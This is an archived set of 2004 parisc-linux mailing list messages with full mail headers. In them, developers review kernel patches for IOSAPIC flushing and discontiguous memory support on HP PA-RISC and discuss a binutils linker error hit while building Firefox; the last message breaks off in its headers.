Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19437-02; Wed, 30 Jun 2004 23:44:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id EDBC43BDE6; Wed, 30 Jun 2004 23:44:37 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 69B043BDD5
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Jun 2004 23:44:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 18808-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Jun 2004 23:44:34 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 38DE23BDCE
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Jun 2004 23:44:34 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id F3AF32980B1; Wed, 30 Jun 2004 23:44:32 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 18600-03; Wed, 30 Jun 2004 23:44:31 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 9FBB92980AC; Wed, 30 Jun 2004 23:44:31 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200406281257.06793.bjorn.helgaas@hp.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21774

On Mon, Jun 28, 2004 at 12:57:06PM -0600, Bjorn Helgaas wrote:
> Introduce a tiny bit of abstraction to parisc iosapic.c.
> 
> This makes more obvious the two reads to flush previous writes to the
> hardware in iosapic_wr_irt_entry().  ia64 does neither one (perhaps
> because we don't share vectors yet).  But even if the flush is really
> needed on parisc, wouldn't only the second be needed, i.e.:

Yes. that's correct.
But the flush has nothing to do with sharing vectors.
It's just to guarantee HW sees writes before returning
to the driver. Probably falls into the EIANAL error bucket
but it's not in the performance path.

Patch looks good. I'll apply and commit.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PATCH/RFC: discontig mem support for hppa
Date: Sat, 3 Jul 2004 12:37:12 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <20040703183712.GA10458@colo.lackof.org>
References: <20040703180852.GD18628@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623490 10083 80.91.229.3 (22 Nov 2014 02:31:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 7594 invoked by uid 65534); 3 Jul 2004 18:37:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx024) with SMTP; 03 Jul 2004 20:37:51 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 26FF73BDEF; Sat,  3 Jul 2004 12:37:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12172-06; Sat, 3 Jul 2004 12:37:38 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A1E9A3BDD6; Sat,  3 Jul 2004 12:37:18 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C90A93BDCE
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  3 Jul 2004 12:37:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 12172-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 3 Jul 2004 12:37:15 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 8F5483BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  3 Jul 2004 12:37:14 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id B94A52980BC; Sat,  3 Jul 2004 12:37:13 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 10612-02; Sat, 3 Jul 2004 12:37:12 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 588722980BB; Sat,  3 Jul 2004 12:37:12 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20040703180852.GD18628@tausq.org>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21775

On Sat, Jul 03, 2004 at 11:08:52AM -0700, Randolph Chung wrote:
> I am not clear about whether we need to treat "low memory"
> differently from "high memory" in any cases. willy pointed out to me
> that since we have a IOMMU we don't really need to care about ZONE_DMA
> vs ZONE_NORMAL,

That's correct. Becuase the virtual coherence index needed for cache
coherency, 32-bit PCI devices will always go through the IOMMU
even to DMA to physical memory < 4GB.

My hope is with ZX1 IOMMU, 64-bit devices can provide the virtual
coherence index as part of the DMA address. I haven't done all the
research yet to verify this will actually work.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PATCH/RFC: discontig mem support for hppa
Date: Sat, 3 Jul 2004 13:16:43 -0600
Lines: 139
Approved: news@gmane.org
Message-ID: <20040703191643.GB10458@colo.lackof.org>
References: <20040703180852.GD18628@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623490 10084 80.91.229.3 (22 Nov 2014 02:31:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 30966 invoked by uid 65534); 3 Jul 2004 19:17:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx041) with SMTP; 03 Jul 2004 21:17:16 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 14B993BDFD; Sat,  3 Jul 2004 13:17:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12755-05; Sat, 3 Jul 2004 13:17:11 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id EE5523BDEA; Sat,  3 Jul 2004 13:16:51 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F30FA3BDD5
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  3 Jul 2004 13:16:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 12755-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 3 Jul 2004 13:16:48 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 89B833BDCE
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  3 Jul 2004 13:16:47 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 07AA12980A8; Sat,  3 Jul 2004 13:16:47 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 11030-08; Sat, 3 Jul 2004 13:16:44 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id F3AAB29808F; Sat,  3 Jul 2004 13:16:43 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20040703180852.GD18628@tausq.org>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21776

On Sat, Jul 03, 2004 at 11:08:52AM -0700, Randolph Chung wrote:
...
> +/* We have these possible memory map layouts:
> + * Astro: 0-3.75, 67.75-68, 4-64
> + * zx1: 0-1, 257-260, 4-256
> + * Stretch (N-class): 0-2, 4-32, 34-xxx
> + */
> +
> +/* Since all the boundaries are on a 1GB-boundary, we can create
> + * an index table for pfn to nid lookup; each entry in pfnnid_map 
> + * represents 1GB, and contains the node that the memory belongs to. */

The comment and the above table don't exactly agree.
3.75 is not a 1GB boundary. Is that important for
what pfnnid_map[] is being used for?

Can someone explain the K-class memory layout for inclusion here?
Or did K-class never support more than 4GB?

Even though we don't support it, to be complete, can Bjorn or
someone explain Superdome memory holes? (chipset name?)

Secondly, ISTR a legacy VGA hole on ZX1 below 1GB.

Astro was supposed to suport legacy VGA as well but the HW was never
tested or officially supported.


> +
> +#define PFNNID_SHIFT (30 - PAGE_SHIFT)
> +extern unsigned char pfnnid_map[];
> +
> +static inline int pfn_to_nid(unsigned long pfn)
> +{
> +	unsigned int i;
> +    unsigned char r;
> +    i = pfn >> PFNNID_SHIFT;
> +    r = pfnnid_map[i];
> +    BUG_ON(r == 0xff);
> +
> +    return (int)r;
> +}
> +
> +static inline int pfn_valid(int pfn)
> +{
> +	int nid = pfn_to_nid(pfn);
> +
> +	if (nid >= 0)
> +		return (pfn < node_end_pfn(nid));
> +	return 0;
> +}
> +
> +#else /* !CONFIG_DISCONTIGMEM */
> +#define MAX_PHYSMEM_RANGES 	1 
> +#endif
> +#endif /* _PARISC_MMZONE_H */
> Index: include/asm-parisc/page.h
> ===================================================================
> RCS file: /var/cvs/linux-2.6/include/asm-parisc/page.h,v
> retrieving revision 1.9
> diff -u -p -r1.9 page.h
> --- include/asm-parisc/page.h	5 May 2004 23:02:47 -0000	1.9
> +++ include/asm-parisc/page.h	3 Jul 2004 06:55:49 -0000
> @@ -83,12 +83,6 @@ extern __inline__ int get_order(unsigned
>  	return order;
>  }
>  
> -#ifdef __LP64__
> -#define MAX_PHYSMEM_RANGES 8 /* Fix the size for now (current known max is 3) */
> -#else
> -#define MAX_PHYSMEM_RANGES 1 /* First range is only range that fits in 32 bits */
> -#endif
> -
>  typedef struct __physmem_range {
>  	unsigned long start_pfn;
>  	unsigned long pages;       /* PAGE_SIZE pages */
> @@ -144,15 +138,16 @@ extern int npmem_ranges;
>  #define __pa(x)			((unsigned long)(x)-PAGE_OFFSET)
>  #define __va(x)			((void *)((unsigned long)(x)+PAGE_OFFSET))
>  
> +#ifndef CONFIG_DISCONTIGMEM
>  #define pfn_to_page(pfn)	(mem_map + (pfn))
>  #define page_to_pfn(page)	((unsigned long)((page) - mem_map))
>  #define pfn_valid(pfn)		((pfn) < max_mapnr)
> +#endif /* CONFIG_DISCONTIGMEM */
> +
>  #define virt_addr_valid(kaddr)	pfn_valid(__pa(kaddr) >> PAGE_SHIFT)
>  
> -#ifndef CONFIG_DISCONTIGMEM
> -#define virt_to_page(kaddr)     (mem_map + (__pa(kaddr) >> PAGE_SHIFT))
> -#define VALID_PAGE(page)	((page - mem_map) < max_mapnr)
> -#endif  /* !CONFIG_DISCONTIGMEM */
> +#define page_to_phys(page)	(page_to_pfn(page) << PAGE_SHIFT)
> +#define virt_to_page(kaddr)     pfn_to_page(__pa(kaddr) >> PAGE_SHIFT)
>  
>  #define VM_DATA_DEFAULT_FLAGS	(VM_READ | VM_WRITE | VM_EXEC | \
>  				 VM_MAYREAD | VM_MAYWRITE | VM_MAYEXEC)
> Index: include/asm-parisc/pgtable.h
> ===================================================================
> RCS file: /var/cvs/linux-2.6/include/asm-parisc/pgtable.h,v
> retrieving revision 1.13
> diff -u -p -r1.13 pgtable.h
> --- include/asm-parisc/pgtable.h	1 Jul 2004 20:24:38 -0000	1.13
> +++ include/asm-parisc/pgtable.h	3 Jul 2004 06:55:49 -0000
> @@ -353,11 +353,7 @@ extern inline pte_t pte_modify(pte_t pte
>  
>  #define pte_pfn(x) (pte_val(x) >> PAGE_SHIFT)
>  
> -#ifdef CONFIG_DISCONTIGMEM
> -#define pte_page(x) (phys_to_page(pte_val(x)))
> -#else
> -#define pte_page(x) (mem_map+(pte_val(x) >> PAGE_SHIFT))
> -#endif
> +#define pte_page(pte)		(pfn_to_page(pte_pfn(pte)))
>  
>  #define pmd_page_kernel(pmd)	((unsigned long) __va(pmd_val(pmd) & PAGE_MASK))
>  
> --- include/asm-parisc/numnodes.h	Sat Jul  3 00:55:49 2004
> +++ include/asm-parisc/numnodes.h	Sat Jul  3 00:55:49 2004
> @@ -0,0 +1,9 @@
> +#ifndef _ASM_MAX_NUMNODES_H
> +#define _ASM_MAX_NUMNODES_H
> +
> +#include <linux/config.h>
> +
> +/* Max 8 Nodes */
> +#define NODES_SHIFT	3
> +
> +#endif /* _ASM_MAX_NUMNODES_H */
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ivar <orskaug@stud.ntnu.no>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Building Firefox 0.9.1 / Binutils problem
Date: Sun, 4 Jul 2004 19:43:50 +0200 (MEST)
Lines: 57
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.58.0407041929330.20476@panter.stud.ntnu.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416623490 10088 80.91.229.3 (22 Nov 2014 02:31:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 29384 invoked by uid 65534); 4 Jul 2004 17:44:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx007) with SMTP; 04 Jul 2004 19:44:42 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1CEFE3BDED; Sun,  4 Jul 2004 11:44:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24793-03; Sun, 4 Jul 2004 11:44:19 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id AF59D3BDF4; Sun,  4 Jul 2004 11:43:56 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3DE163BDED
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Jul 2004 11:43:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 24736-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 4 Jul 2004 11:43:53 -0600 (MDT)
Original-Received: from merke.itea.ntnu.no (merke.itea.ntnu.no [129.241.7.61])
	by free.linux.hp.com (Postfix) with ESMTP id 6942D3BDEA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Jul 2004 11:43:52 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by merke.itea.ntnu.no (Postfix) with ESMTP id BB7CA13C709
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Jul 2004 19:43:50 +0200 (CEST)
Original-Received: from panter.stud.ntnu.no (panter.stud.ntnu.no [129.241.56.186])
	by merke.itea.ntnu.no (Postfix) with ESMTP id 7C83113CE22
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Jul 2004 19:43:50 +0200 (CEST)
X-Content-Scanned: with sophos and spamassassin at mailgw.ntnu.no.
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21777


I'm trying to compile the latest Firefox from source for parisc-linux
unstable, however not suprisingly, I've run into problems.

The problem seems to be the linker, here is some output:

c++ -I/usr/X11R6/include -fno-rtti -fno-exceptions -Wall -Wconversion
-Wpointer-arith -Wcast-align -Woverloaded-virtual -Wsynth
-Wno-ctor-dtor-privacy -Wno-non-virtual-dtor -Wno-long-long -pedantic
-fshort-wchar -pthread -pipe  -DDEBUG -D_DEBUG -DDEBUG_root -DTRACING -g
-fno-inline -fPIC -shared -Wl,-h -Wl,libuconv.so -o libuconv.so  ugen.o
uscan.o umap.o nsUConvModule.o nsCharsetAliasImp.o
nsConverterInputStream.o nsTextToSubURI.o nsURLProperties.o
nsCharsetConverterManager.o nsUTF8ConverterService.o nsScriptableUConv.o
nsUnicodeDecodeHelper.o nsUnicodeEncodeHelper.o nsMappingCache.o
nsISO88591ToUnicode.o nsCP1252ToUnicode.o nsMacRomanToUnicode.o
nsUTF8ToUnicode.o nsUnicodeToISO88591.o nsUnicodeToCP1252.o
nsUnicodeToMacRoman.o nsUnicodeToUTF8.o nsUNIXCharset.o
-Wl,--whole-archive ../../../dist/lib/libucvlatin_s.a
../../../dist/lib/libucvibm_s.a ../../../dist/lib/libucvja_s.a
../../../dist/lib/libucvtw2_s.a ../../../dist/lib/libucvtw_s.a
../../../dist/lib/libucvko_s.a ../../../dist/lib/libucvcn_s.a
-Wl,--no-whole-archive ../../../dist/lib/libucvutil_s.a
../../../dist/lib/libunicharutil_s.a  -L../../../dist/bin -lxpcom
-L../../../dist/bin -L/usr/mozilla/dist/lib -lplds4 -lplc4 -lnspr4
-lpthread -ldl    -Wl,-Bsymbolic -ldl -lm
/usr/bin/ld: BFD 2.14.90.0.7 20031029 Debian GNU/Linux internal error,
aborting at ../../bfd/elf32-hppa.c line 3624 in
elf32_hppa_relocate_section

/usr/bin/ld: Please report this bug.

collect2: ld returned 1 exit status
make[4]: *** [libuconv.so] Error 1
make[4]: Leaving directory `/usr/mozilla/intl/uconv/src'
make[3]: *** [libs] Error 2
make[3]: Leaving directory `/usr/mozilla/intl/uconv'
make[2]: *** [libs] Error 2
make[2]: Leaving directory `/usr/mozilla/intl'
make[1]: *** [tier_9] Error 2
make[1]: Leaving directory `/usr/mozilla'
make: *** [default] Error 2

I'm rnning unstable:  binutils       2.14.90.0.7-8  and gcc/g++ 3.3

If anyone can indicate where to start in order to track down this
problem, its very appreciated!

cheers,

 Ivar
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PATCH/RFC: discontig mem support for hppa
Date: Sun, 4 Jul 2004 11:14:23 -0700
Lines: 575
Approved: news@gmane.org
Message-ID: <20040704181423.GG18628@tausq.org>
References: <20040703180852.GD18628@tausq.org> <40E7028A.7060905@tiscali.be>
	<20040703195349.GE18628@tausq.org>
	<40E71BF2.2040601@tiscali.be> <40E71D38.8010000@tiscali.be>
	<40E71F91.2030001@tiscali.be>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623491 10089 80.91.229.3 (22 Nov 2014 02:31:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 4985 invoked by uid 65534); 4 Jul 2004 18:14:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx012) with SMTP; 04 Jul 2004 20:14:47 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 26D503BDF3; Sun,  4 Jul 2004 12:14:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25343-10; Sun, 4 Jul 2004 12:14:45 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C064F3BDF4; Sun,  4 Jul 2004 12:14:27 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A1B0A3BDED
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Jul 2004 12:14:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 25343-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 4 Jul 2004 12:14:23 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id E27A13BDEA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Jul 2004 12:14:22 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
